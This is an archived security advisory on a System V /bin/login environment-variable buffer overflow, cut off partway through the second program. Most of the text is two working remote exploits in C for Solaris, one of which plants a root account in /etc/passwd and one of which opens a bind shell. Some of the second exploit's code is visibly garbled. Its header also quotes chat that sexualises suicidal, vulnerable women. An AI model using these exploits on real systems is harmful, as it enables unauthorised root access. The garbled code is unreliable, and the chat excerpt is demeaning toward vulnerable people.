TUCoPS :: Unix :: General :: unix4920.htm


13th Dec 2001 [SBWID-4920]
COMMAND
	login buffer overflow
SYSTEMS AFFECTED
	All unixes SYSTEM V based login process
	
	 such as :
	 SuSE 6.1
	 Slackware 8.0 and lower [tested with 8.0, 4.0, 3.3]
	 ...
	
	 Not vulnerable :
	 RedHat
	 Caldera
PROBLEM
	Multiple reports confirm the existence of a buffer overflow in the
	login process due to a bad parsing of environment variables, that are
	set when calling login from telnet or rlogin.
	
	 Explanation by Roman Drahtmueller and \"pof\" :
	 =============================================
	
	The login programs in SuSE 6.0 and 6.1 gladly pass on environment
	specified as
	 
	silence login: draht variable=value Password:
	 
	up to a maximum number of 32 variables. If the args to the user name do
	not contain a \"=\" character, the arguments will show up in the
	environment as $L1, $L2, ... where arguments are seperated by
	whitespace and \",\". An overflow does not happen, or please prove me
	wrong.
	
	Check the diff below :
	
	
	 /*
	 * This is a disaster, at best. The user may have entered extra
	 * environmental variables at the prompt. There are several ways
	 * to do this, and I just take the easy way out.
	 */
	
	 if (*cp != \'\0円\') { /* process new variables */
	 char *nvar;
	 int count = 1;
	
	 for (envc = 0; envc < MAX_ENV; envc++) {
	 nvar = strtok(envc ? (char *)0 : cp, \" \\t,\");
	 if (!nvar)
	 break;
	 if (strchr(nvar, \'=\')) {
	 envp[envc] = nvar;
	 } else {
	 envp[envc] = xmalloc(strlen(nvar) + 32);
	 sprintf(envp[envc], \"L%d=%s\", count++, nvar);
	 }
	 }
	 set_env(envc, envp);
	 }
	
	
	 Update
	 ======
	
	Solaris Exploit by mat [http://monkey.org/~mat/] :
	 
	/*
	 * 2001年11月26日
	 * Solaris x86 2.8
	 * /bin/login remote exploit
	 * it works for telnet
	 * This code so many fixed addresses,so it may not work on other systems...
	 * Author: mat@monkey.org (JW. Oh)
	 * No warranty! Use at your own risk! And don\'t ask me anything!!!
	 * change exec_argv3 value to execute your own command
	 * and use ip address instead of hostname for argv[0]
	 * updated 2001年11月26日.
	 * added if you installed solaris x86 full package uncomment X86_FULL_PACKAGE
	end-user
	 0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS
	 0x080667b0->0x080689d4 at 0x000067b0: .bss ALLOC
	
	full users 
	 0x080654e0->0x080656b8 at 0x000054e0: .got ALLOC LOAD DATA HAS_CONTENTS
	 0x080667b8->0x080689dc at 0x000067b8: .bss ALLOC
	
	if your system is not exploited with this exploit, try dump sections with gdb...and compare the .got,.bss section values...
	*/
	
	//#define X86_FULL_PACKAGE
	
	#include <stdio.h>
	#include <sys/socket.h>
	#include <sys/types.h>
	#include <netinet/in.h>
	#include <unistd.h>
	#include <stdlib.h>
	
	void dump_hex(char *str,char *data,int len)
	{
		int i;
		if(str)
		{
			printf(\"\\n=======%s:%d========\\n\",str,len);
		}else{
			printf(\"\\n=======================\\n\");
		}
		for(i=0;i<len;i++)
		{
			printf(\"x%.2x\",(data[i]&0xff));
		}
		printf(\"\\n-----------------------\\n\");
		for(i=0;i<len;i++)
		{
			if(data[i]==0x00)
			{
				printf(\"|\");
			}else
			{
				printf(\"%c\",data[i]);
			}
		}
		printf(\"\\n\");
		fflush(stdout);
	}
	
	int send_data(int sock,const char *send_data,int send_len)
	{
		int wc;
		int rc;
		char recv_buf[1000];
	
		if(send_data && send_len>0)
		{
			wc=send(sock,send_data,send_len,0);
		}
		rc=recv(sock,recv_buf,sizeof(recv_buf),0);
		if(rc>0)
		{	
			dump_hex(\"recv\",recv_buf,rc);
		}
	}
	
	void main(int argc,char *argv[])
	{
		int sock;
		struct sockaddr_in address;
		int i;
	
		char send_data_1[]={
			0xff,0xfd,0x03,
			0xff,0xfb,0x18,
			0xff,0xfb,0x1f,
			0xff,0xfb,0x20,
			0xff,0xfb,0x21,
			0xff,0xfb,0x22,
			0xff,0xfb,0x27,
			0xff,0xfd,0x05,
			0xff,0xfb,0x23
		};
		char send_data_2[]={
			0xff,0xfa,0x1f,0x00,0x50,0x00,0x18,
			0xff,0xf0,
			0xff,0xfc,0x24
		};
		char send_data_3[]={
			0xff,0xfd,0x01,
			0xff,0xfc,0x01
		};
	
		char str_buffer[1024*30];
		int str_buffer_pos=0;
		char str_end[2]={0xd,0x0};
	
		char *env_str;
		int env_str_len;
		char env_1[4]={0xff,0xfa,0x18,0x00};
		char *terminal_name=\"xterm-debian\";
		char env_2[6]={0xff,0xf0,0xff,0xfa,0x23,0x00};
		char *display=\"matter:0.0\";
		char env_3[7]={0xff,0xf0,0xff,0xfa,0x27,0x00,0x00};
		char *display_var=\"DISPlAY\";
		char display_delimiter[1]={0x01};
		char *display_value=\"matter:0.0\";
		char *environ_str;
		int environ_str_len;
		int env_cur_pos=0;
		int env_num;
	
		char env_4[2]={0xff,0xf0};
		char exploit_buffer[]=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\\\r\\n\";
		char login_buffer[]=
	\"ji1=A ji2=A ji3=A ji4=A ji5=A ji6=A ji7=A ji8=A ji9=Z ji10=z\\\\\\r\\n\\
	ji11=B ji12=A ji13=A ji14=b ji15=A ji16=A ji17=A ji18=A ji19=B ji20=b\\\\\\r\\n\\
	ji21=C ji22=A ji23=A ji24=c ji25=A ji26=A ji27=A ji28=A ji29=C ji30=c\\\\\\r\\n\\
	ji32=D ji32=A ji33=A ji34=d ji35=A ji36=A ji37=A ji38=A ji39=D ji40=d\\\\\\r\\n\\
	ji41=E ji42=A ji43=A ji44=e j\";
		char realfree_edx[]={0x83,0x83,0x83,0x83}; //0xdf9d6361 <realfree+81>: test 0ドルx1,%dl研 角奄奄 是背辞
		char login_buffer1[]=\"=A j\";
	
	#ifdef X86_FULL_PACKAGE
		char t_delete_edi_plus_0x8[]={0x2f,0x80,0x06,0x08};
	#else
		char t_delete_edi_plus_0x8[]={0x27,0x80,0x06,0x08};
	#endif
		char t_delete_edi_plus_0xa[]=\"=A j\";
		char t_delete_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
		char login_buffer1_0[]=\"=A ji48=A j \";
	#ifdef X86_FULL_PACKAGE
		char t_delete_edi_plus_0x20[]={0xf0,0x55,0x6,0x08};
	#else
		char t_delete_edi_plus_0x20[]={0xe8,0x55,0x6,0x08};
	#endif
		char login_buffer1_1[]=\"=\\\\\\r\\n\\
	ji51=F ji52=A ji53=A ji54=f ji55=A ji56=A j=iheol i58=\";
	#ifdef X86_FULL_PACKAGE
		char t_delete2_param1[]={0x29,0x80,0x06,0x08};
	#else
		char t_delete2_param1[]={0x21,0x80,0x06,0x08};
	#endif
		char login_buffer1_2[]=\" 6=8\";
		char link_pos[]={0x97,0xff,0xff,0xff,0xff,0xff,0xff};
		//湛腰属 A -1 績
		char login_buffer2[]=\"A=AB\";
		// 0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS
		//0x80655a4 <_GLOBAL_OFFSET_TABLE_+208>: 0xdf9bd0b8 <strncpy>
		//(gdb) print/x 0x80655a4 - 0x20
		//1ドル = 0x8065584
	#ifdef X86_FULL_PACKAGE
		char t_delete2_edi_plus_0x8[]={0x90,0x55,0x06,0x08}; //strncpy-0x20,ecx
	#else
		char t_delete2_edi_plus_0x8[]={0x84,0x55,0x06,0x08}; //strncpy-0x20,ecx
	#endif
		char login_buffer2_0[]=\"GHIJ\";
		char t_delete2_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
		char login_buffer2_1[]=\"OPQRSTUVWXYZ\";
	
		//0x806810d <inputline+780>: \'A\' <repeats 82 times>, \"\\n\"
	#ifdef X86_FULL_PACKAGE
		char t_delete2_edi_plus_0x20[]={0x06,0x81,0x06,0x08}; //shellcode,eax 
	#else
		char t_delete2_edi_plus_0x20[]={0xfe,0x80,0x06,0x08}; //shellcode,eax 
	#endif
		//0x8067e01 <inputline>: \"heowahfoihewobhfoiewhiofhoewhofhoeiwhofwhofhiewwhfoiew
		char login_buffer2_2[]=\"efghijklmnopqrstuvwxyz0123456789A\\\\\\r\\n\\
	jk11=A jm21=C nj31=A jo41=A pi51=A jq61=A jr71=A js81=g jt91=A ju01=A jv11=A jw21=B jy\";//31=A z\";//4=A k2=A k3=A k\";
	#ifdef X86_FULL_PACKAGE
		//char strncpy_src[]={0xf9,0x3b,0x05,0x08};
		char strncpy_src[]={0x31,0x80,0x06,0x08};
	#else
		char strncpy_src[]={0xf1,0x3b,0x05,0x08};
	#endif
		char env_buffer[]=\"hi1=A hi2=A hi3=A hi\";
		char pam_input_output_eax[]={0x48,0x8a,0x06,0x08}; //0x8068a48
		char env_buffer0[]=\"hi5=A hi6=A hi7=A hi\";
	#ifdef X86_FULL_PACKAGE
		char free_dest_buffer[]={0x31,0x80,0x06,0x08};
	#else
		char free_dest_buffer[]={0x29,0x80,0x06,0x08};
	#endif
		char env_buffer2[]=\"zi9=\";
	#ifdef X86_FULL_PACKAGE
		char free_dest_buffer2[]={0x31,0x80,0x06,0x08};
	#else
		char free_dest_buffer2[]={0x29,0x80,0x06,0x08};
	#endif
	
		char exp_buffer0[]=\"hello\";
		char jmp_code[]={0xeb,0xc};
		char exp_buffer1[]=\"\\\\\\r\\nhhhhhhhhhhh\";
		char shellcode[]=
		{
		0xeb,0x1d,
		0x5e, /*popl %esi*/
		0x33,0xc0, /*xorl %eax,%eax*/
		0x50, /*pushl %eax - ,0x0*/
	#ifdef X86_FULL_PACKAGE
		0x68,0x46,0x81,0x06,0x08,
		0x68,0x43,0x81,0x06,0x08,
		0x68,0x40,0x81,0x06,0x08,
		0x68,0x38,0x81,0x06,0x08,
	#else
		0x68,0x3e,0x81,0x06,0x08,
		0x68,0x3b,0x81,0x06,0x08,
		0x68,0x38,0x81,0x06,0x08,
		0x68,0x30,0x81,0x06,0x08,
	#endif
	#ifdef X86_FULL_PACKAGE
		0xe8,0x25,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/
	#else
		0xe8,0x2e,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/
	#endif
		0xe8,0xde,0xff,0xff,0xff,0xff,0xff,0xff /*call again*/
		};
		char exec_argv0[]=\"/bin/sh\";
		char exec_argv1[]=\"sh\";
		char exec_argv2[]=\"-c\";
		char exec_argv3[]=\"/bin/echo met:x:0:1::/:/bin/sh>>/etc/passwd;\";
	//\"/bin/echo met::11652::::::>>/etc/shadow;\";
	//\"/bin/finger @210.111.69.137\";
	//211.59.123.155\";
		char extra_buffer[]=\"hihihiifhewiohfiowehfiohweiofhiowehfoihefe\\\\\\r\\n\";
	#ifdef X86_FULL_PACKAGE
		char free_dest_buffer3[]={0x31,0x80,0x06,0x08};
	#else
		char free_dest_buffer3[]={0x29,0x80,0x06,0x08};
	#endif
		char env_buffer5[]=\"70=b \\\\\\r\\n\\
	hr371=b hs372=\";
		char pam_input_output_eax2[]={0xf5,0x3b,0x05,0x08};
		char env_buffer5_0[]=\"473=\";
		char pam_get_authtok_eax[]={0xf6,0x3b,0x05,0x08}; //0x8053bfa 績獣痕搭
		char pam_get_data_esi[]={0xa8,0xb1,0x06,0x08};//0x806b1a8
		display=\"\";
		terminal_name=\"\";
	
		env_str_len=
				sizeof(env_1)+
				strlen(terminal_name)+
				sizeof(env_2)+
				strlen(display)+
				sizeof(env_3)+
				strlen(display_var)+
				sizeof(display_delimiter)+
				strlen(display_value)+
				sizeof(env_4);
	
		env_str=(char *)calloc(1,env_str_len);
		if(env_str)
		{
			env_cur_pos=0;
			memcpy(env_str+env_cur_pos,env_1,sizeof(env_1));
			env_cur_pos+=sizeof(env_1);
			memcpy(env_str+env_cur_pos,terminal_name,strlen(terminal_name));
			env_cur_pos+=strlen(terminal_name);
			memcpy(env_str+env_cur_pos,env_2,sizeof(env_2));
			env_cur_pos+=sizeof(env_2);
			memcpy(env_str+env_cur_pos,display,strlen(display));
			env_cur_pos+=strlen(display);
			memcpy(env_str+env_cur_pos,env_3,sizeof(env_3));
			env_cur_pos+=sizeof(env_3);
			memcpy(env_str+env_cur_pos,display_var,strlen(display_var));
			env_cur_pos+=strlen(display_var);
			memcpy(env_str+env_cur_pos,display_delimiter,sizeof(display_delimiter));
			env_cur_pos+=sizeof(display_delimiter);
			memcpy(env_str+env_cur_pos,display_value,strlen(display_value));
			env_cur_pos+=strlen(display_value);
			memcpy(env_str+env_cur_pos,env_4,sizeof(env_4));
			env_cur_pos+=sizeof(env_4);
		}
	
		/*socket operation*/
		sock=socket(AF_INET,SOCK_STREAM,0);
		if(sock<0)
		{
			return;
		}
		address.sin_family=AF_INET;
		address.sin_port=htons(23);
		//inet_pton(AF_INET,argv[1],&address.sin_addr); //on some system no inet_pton exists
	 address.sin_addr.s_addr=inet_addr(argv[1]);
	
		if(connect(sock,(struct sockaddr *)&address,sizeof(address))<0)
		{
			return;
		}
		send_data(sock,NULL,0);
		send_data(sock,send_data_1,sizeof(send_data_1));
		send_data(sock,send_data_2,sizeof(send_data_2));
	
		//dump_hex(\"env\",env_str,env_cur_pos);
		send_data(sock,env_str,env_cur_pos);
		free(env_str);
	
		send_data(sock,send_data_3,sizeof(send_data_3));
	
		str_buffer_pos=0;
	
	
		memcpy(str_buffer+str_buffer_pos,exploit_buffer,strlen(exploit_buffer));
		str_buffer_pos+=strlen(exploit_buffer);
	
		strcpy(str_buffer+str_buffer_pos,login_buffer);
		str_buffer_pos+=strlen(login_buffer);
	
		memcpy(str_buffer+str_buffer_pos,realfree_edx,sizeof(realfree_edx));
		str_buffer_pos+=sizeof(realfree_edx);
	
		strcpy(str_buffer+str_buffer_pos,login_buffer1);
		str_buffer_pos+=strlen(login_buffer1);
		
		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x8,sizeof(t_delete_edi_plus_0x8));
		str_buffer_pos+=sizeof(t_delete_edi_plus_0x8);
				
		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0xa,strlen(t_delete_edi_plus_0xa));
		str_buffer_pos+=strlen(t_delete_edi_plus_0xa);
		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x10,sizeof(t_delete_edi_plus_0x10));
		str_buffer_pos+=sizeof(t_delete_edi_plus_0x10);
	
	
		strcpy(str_buffer+str_buffer_pos,login_buffer1_0);
		str_buffer_pos+=strlen(login_buffer1_0);
		
		memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x20,sizeof(t_delete_edi_plus_0x20));
		str_buffer_pos+=sizeof(t_delete_edi_plus_0x20);
	
		strcpy(str_buffer+str_buffer_pos,login_buffer1_1);
		str_buffer_pos+=strlen(login_buffer1_1);
		memcpy(str_buffer+str_buffer_pos,t_delete2_param1,sizeof(t_delete2_param1));
		str_buffer_pos+=sizeof(t_delete2_param1);
		strcpy(str_buffer+str_buffer_pos,login_buffer1_2);
		str_buffer_pos+=strlen(login_buffer1_2);
	
		memcpy(str_buffer+str_buffer_pos,link_pos,sizeof(link_pos));
		str_buffer_pos+=sizeof(link_pos);
	
		strcpy(str_buffer+str_buffer_pos,login_buffer2);
		str_buffer_pos+=strlen(login_buffer2);
	
		memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x8,sizeof(t_delete2_edi_plus_0x8));
		str_buffer_pos+=sizeof(t_delete2_edi_plus_0x8);
	
		strcpy(str_buffer+str_buffer_pos,login_buffer2_0);
		str_buffer_pos+=strlen(login_buffer2_0);
	
		memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x10,sizeof(t_delete2_edi_plus_0x10));
		str_buffer_pos+=sizeof(t_delete2_edi_plus_0x10);
	
		strcpy(str_buffer+str_buffer_pos,login_buffer2_1);
		str_buffer_pos+=strlen(login_buffer2_1);
	
		memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x20,sizeof(t_delete2_edi_plus_0x20));
		str_buffer_pos+=sizeof(t_delete2_edi_plus_0x20);
	
		strcpy(str_buffer+str_buffer_pos,login_buffer2_2);
		str_buffer_pos+=strlen(login_buffer2_2);
	
		memcpy(str_buffer+str_buffer_pos,strncpy_src,sizeof(strncpy_src));
		str_buffer_pos+=sizeof(strncpy_src);
	
		memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer));
		str_buffer_pos+=strlen(env_buffer);
	
		memcpy(str_buffer+str_buffer_pos,pam_input_output_eax,sizeof(pam_input_output_eax));
		str_buffer_pos+=sizeof(pam_input_output_eax);
	
		memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer0));
		str_buffer_pos+=strlen(env_buffer0);
	
		memcpy(str_buffer+str_buffer_pos,free_dest_buffer,sizeof(free_dest_buffer));
		str_buffer_pos+=sizeof(free_dest_buffer);
	
	
		memcpy(str_buffer+str_buffer_pos,env_buffer2,strlen(env_buffer2));
		str_buffer_pos+=strlen(env_buffer2);
	
		memcpy(str_buffer+str_buffer_pos,free_dest_buffer2,sizeof(free_dest_buffer2));
		str_buffer_pos+=sizeof(free_dest_buffer2);
	
	
		strcpy(str_buffer+str_buffer_pos,exp_buffer0);
		str_buffer_pos+=strlen(exp_buffer0);
		memcpy(str_buffer+str_buffer_pos,jmp_code,sizeof(jmp_code));
		str_buffer_pos+=sizeof(jmp_code);
		strcpy(str_buffer+str_buffer_pos,exp_buffer1);
		str_buffer_pos+=strlen(exp_buffer1);
		memcpy(str_buffer+str_buffer_pos,shellcode,sizeof(shellcode));
		str_buffer_pos+=sizeof(shellcode);
		strcpy(str_buffer+str_buffer_pos,exec_argv0);
		str_buffer_pos+=strlen(exec_argv0)+1;
		strcpy(str_buffer+str_buffer_pos,exec_argv1);
		str_buffer_pos+=strlen(exec_argv1)+1;
		strcpy(str_buffer+str_buffer_pos,exec_argv2);
		str_buffer_pos+=strlen(exec_argv2)+1;
		strcpy(str_buffer+str_buffer_pos,exec_argv3);
		str_buffer_pos+=strlen(exec_argv3)+1;
	
		memcpy(str_buffer+str_buffer_pos,str_end,strlen(str_end));
		str_buffer_pos+=strlen(str_end);
	
		{
			char buf[100];
			fgets(buf,100,stdin);
		}
		printf(\"sending login!\\n\");
		fflush(stdout);
		send_data(sock,str_buffer,str_buffer_pos);
		send_data(sock,NULL,0);
		printf(\"\\n\\n\\npress return to send password\\n...\");
	
		{
			char buf[100];
			fgets(buf,100,stdin);
		}
	
		send_data(sock,str_buffer,strlen(str_buffer)+1);
		printf(\"\\n\\n\\nwaiting for the realfree & t_delete to be called!\\n...\\n\\n\");
		fflush(stdout);
		sleep(30);
	}
	
	
	 Update (19 March 2002)
	 ======
	
	Solaris exploit :
	 
	/*
	Solaris /bin/login array mismangement exploit by morgan@sexter.com
	
	compile: 
		use -DSOLARIS if your running it on a big endian system....
	
	friendly advice to find that special someone:
	[ronin(ronin@segfault.net)] think if i make \'the lonely hearts club\' at
	college...
	[ronin(ronin@segfault.net)] it\'ll have a psych. effect on chicks?
	[msg(ronin)] you\'d get all the suicidal chicks
	[ronin(ronin@segfault.net)] they have like clubs and shit... chess
	clubs, sport, rollerblading, etc.
	[ronin(ronin@segfault.net)] u can make ur own
	[msg(ronin)] yah.. most schools do
	[ronin(ronin@segfault.net)] they should be the best in bed
	[ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion
	[ronin(ronin@segfault.net)] and all that angst
	[msg(ronin)] always thinking
	[ronin(ronin@segfault.net)] can be harnessed for sexual gratification
	[msg(ronin)] your a quite a sexual trickster 
	[ronin(ronin@segfault.net)] plus
	[ronin(ronin@segfault.net)] suicidal pain
	[ronin(ronin@segfault.net)] pain bdsm
	[ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed
	[msg(ronin)] /me wanders off slowly
	[ronin(ronin@segfault.net)] but suicidal chicks like to cover the full
	spectrum of pain
	[ronin(ronin@segfault.net)] and pain and pleasure are one
	
	greets:
	matthew, pioneering the pinkhat movement... ryan&drago, reading telnet
	rfcs for me..
	ron1n, OMG! You\'re in school now!@#$! The metaray, level 6 on everquest
	now!
	blueboar, for his exquisite mailing list..
	antisec for being so darn hackerifically ethical... keep up the faith
	and arcanum the aim sexual predator...
	*/
	
	#include <stdio.h>
	#include <unistd.h>
	#include <sys/socket.h>
	#include <sys/types.h>
	#include <string.h>
	#include <errno.h>
	#include <netinet/in.h>
	#include <netdb.h>
	#include <arpa/inet.h>
	#include <arpa/telnet.h>
	
	#define NOPS 8
	
	struct {
	 char *name;
	 unsigned long reta;
	 unsigned long retl;
	}targets[] {
	{ \"SunOS 5.7... local\", 0xffbef85c, 0x20026fc8},
	{ \"SunOS 5.7... remote\", 0xffbef8bc, 0x20026fc8},
	{ \"SunOS 5,7... remote 2\", 0xffbef824, 0x20026fc8},
	
	 { NULL, 0, 0 }
	};
	
	unsigned char shellcode[] /* dopesquad.net shellcode + 8 nop
	bytes */
	 \"\\x10\\x80\\x00\\x03\" /* b foolabel */
	 \"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */
	/* OVERWRITE */ \"\\x82\\x10\\x20\\x17\" /* mov 23, %g1 */
	
	
	
	 \"\\xa0\\x23\\xa0\\x10\" /* sub %sp, 16, %l0 */
	 \"\\xae\\x23\\x80\\x10\" /* sub %sp, %l0, %l7 */
	 \"\\xee\\x23\\xbf\\xec\" /* st %l7, [%sp - 20] */
	 \"\\x82\\x05\\xe0\\xd6\" /* add %l7, 214, %g1 */
	 \"\\x90\\x25\\xe0\\x0e\" /* sub %l7, 14, %o0 */
	 \"\\x92\\x25\\xe0\\x0e\" /* sub %l7, 14, %o1 */
	 \"\\x94\\x1c\\x40\\x11\" /* xor %l1, %l1, %o2 */
	 \"\\x96\\x1c\\x40\\x11\" /* xor %l1, %l1, %o3 */
	 \"\\x98\\x25\\xe0\\x0f\" /* sub %l7, 15, %o4 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\xa4\\x1a\\x80\\x08\" /* xor %o2, %o0, %l2 */
	 \"\\xd2\\x33\\xbf\\xf0\" /* sth %o1, [%sp - 16] */
	 \"\\xac\\x10\\x27\\xd1\" /* mov 2001, %l6 */
	 \"\\xec\\x33\\xbf\\xf2\" /* sth %l6, [%sp - 14] */
	 \"\\xc0\\x23\\xbf\\xf4\" /* st %g0, [%sp - 12] */
	 \"\\x82\\x05\\xe0\\xd8\" /* add %l7, 216, %g1 */
	 \"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */
	 \"\\x92\\x1a\\xc0\\x10\" /* xor %o3, %l0, %o1 */
	 \"\\x94\\x1a\\xc0\\x17\" /* xor %o3, %l7, %o2 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\x82\\x05\\xe0\\xd9\" /* add %l7, 217, %g1 */
	 \"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */
	 \"\\x92\\x25\\xe0\\x0b\" /* sub %l7, 11, %o1 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\x82\\x05\\xe0\\xda\" /* add %l7, 218, %g1 */
	 \"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */
	 \"\\x92\\x1a\\xc0\\x10\" /* xor %o3, %l0, %o1 */
	 \"\\x94\\x23\\xa0\\x14\" /* sub %sp, 20, %o2 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\xa6\\x1a\\xc0\\x08\" /* xor %o3, %o0, %l3 */
	 \"\\x82\\x05\\xe0\\x2e\" /* add %l7, 46, %g1 */
	 \"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */
	 \"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */
	 \"\\x94\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o2 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */
	 \"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */
	 \"\\x94\\x02\\xe0\\x01\" /* add %o3, 1, %o2 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */
	 \"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */
	 \"\\x94\\x02\\xe0\\x02\" /* add %o3, 2, %o2 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */
	 \"\\x82\\x02\\xe0\\x17\" /* add %o3, 23, %g1 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\x21\\x0b\\xd8\\x9a\" /* sethi %hi(0x2f626800), %l0 */
	 \"\\xa0\\x14\\x21\\x6e\" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
	 \"\\x23\\x0b\\xdc\\xda\" /* sethi %hi(0x2f736800), %l1 */
	 \"\\x90\\x23\\xa0\\x10\" /* sub %sp, 16, %o0 */
	 \"\\x92\\x23\\xa0\\x08\" /* sub %sp, 8, %o1 */
	 \"\\x94\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o2 */
	 \"\\xe0\\x3b\\xbf\\xf0\" /* std %l0, [%sp - 16] */
	 \"\\xd0\\x23\\xbf\\xf8\" /* st %o0, [%sp - 8] */
	 \"\\xc0\\x23\\xbf\\xfc\" /* st %g0, [%sp - 4] */
	 \"\\x82\\x02\\xe0\\x3b\" /* add %o3, 59, %g1 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	 \"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */
	 \"\\x82\\x02\\xe0\\x01\" /* add %o3, 1, %g1 */
	 \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
	;
	
	
	static char nop[]=\"\\x80\\x1c\\x40\\x11\";
	
	void usage(char **argv) {
	 int i;
	
	 fprintf(stderr, \"Solaris /bin/login array mismangement exploit
	by morgan@sexter.com\\n\");
	 fprintf(stderr, \"usage: %s <host>\\n\", argv[0]);
	 fprintf(stderr, \"\\t-r <return address>\\n\");
	 fprintf(stderr, \"\\t-l <return location>\\n\");
	 fprintf(stderr, \"\\t-p <port>\\n\");
	 fprintf(stderr, \"\\t-t <target number>\\n\");
	 fprintf(stderr, \"\\t-e [for local /bin/login execution mode
	check for +s]\\n\");
	 fprintf(stderr, \"\\t%s -e <options> | /bin/login\\n\", argv[0]);
		fprintf(stderr, \"\\t-b brute force mode\\n\\n\");
	 fprintf(stderr, \"targets are...\\n\");
	 for(i=0; targets[i].name; i++) 
	 fprintf(stderr, \"\\t%d) %s\\n\", i, targets[i].name);
	
	 fprintf(stderr, \"\\n\");
	 exit(0);
	
	}
	void die(char *error) { 
	 fprintf(stderr, \"Error: %s\\n\", error);
	 fprintf(stderr, \"Program aborting..\\n\");
	 exit(0);
	 
	}
	 
	void shift(unsigned long *addr) {
	 unsigned long tmp;
	 tmp *addr>> 24;
	 tmp += *addr << 8>> 24 << 8;
	 tmp += *addr << 16>> 24 << 16;
	 tmp += *addr << 24;
	 *addr tmp;
	 return;
	} 
	
	int write_with_iac(int fd, char *buff, int s)
	{
	 int i;
	 unsigned char c=0, pt;
	 for (i=0; i<s; i++) {
	 c=(unsigned char)buff[i];
	 if (c=0xff) if(write(fd, &c, 1) < 0)
	 die(\"Write failed sending IAC\");
	 if(write(fd, &c, 1)<0)
	 die(\"Write failed sending user string\");
	 }
	}
	
	void send_ww(int fd, unsigned char arg, int a) {
	 char buf[3];
	 char *p=buf;
	
	 *p++ IAC;
	 if(a= WILL)
	 *p++ WILL;
	 else if(a= WONT)
	 *p++ WONT;
	 else {
	 fprintf(stderr, \"illegal send, %d is not a valid send
	type\\n\", a);
	 exit(0);
	 }
	 *p arg;
	
	 write(fd, buf, 3);
	
	 return;
	}
	
	
	int connect_shell(char *host, int port)
	{
	 struct sockaddr_in s;
	 int sock;
	 struct hostent *h;
	 unsigned char c;
	 char commands[] \"cd /; echo; uname -a; id ;echo; \"
	 \"echo Mommy wow.. im a hacker now; echo ;\\n\\n\";
	 char buf[2048];
	 fd_set fds;
	 int r;
	
	 s.sin_family AF_INET;
	 s.sin_port htons(port);
	 s.sin_addr.s_addr inet_addr(host);
	
	 if ((h=gethostbyname(host))= NULL)
	 {
	 fprintf(stderr, \"cannot resolve: %s : %s\\n\", host,
	strerror(errno));
	 return -1;
	 }
	 memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,
	sizeof(h->h_addr));
	 
	 if ( (sock socket (AF_INET, SOCK_STREAM, 0))= -1)
	 return sock;
	 
	 if (connect (sock, (struct sockaddr *)&s, sizeof(s))= -1)
	 {
	 close (sock);
	 return -1;
	 }
	
	 write(sock, commands, strlen(commands));
	
	 for(;;)
	 { 
	 FD_ZERO(&fds);
	 FD_SET(fileno(stdin), &fds);
	 FD_SET(sock, &fds);
	 select(255, &fds, NULL, NULL, NULL);
	
	 if(FD_ISSET(sock, &fds))
	 { 
	 memset(buf, 0x0, sizeof(buf));
	 r read (sock, buf, sizeof(buf) - 1);
	 if(r <= 0)
	 { 
	 fprintf(stderr, \"Connection closed.\\n\");
	 exit(0);
	 }
	 fprintf(stderr, \"%s\", buf);
	 }
	
	 if(FD_ISSET(fileno(stdin), &fds))
	 { 
	 memset(buf, 0x0, sizeof(buf));
	 read(fileno(stdin), buf, sizeof(buf) - 1);
	 write(sock, buf, strlen(buf));
	 }
	 }
	 return sock;
	}
	int do_telnet_negotation(char *host, int port)
	{
	 struct sockaddr_in s;
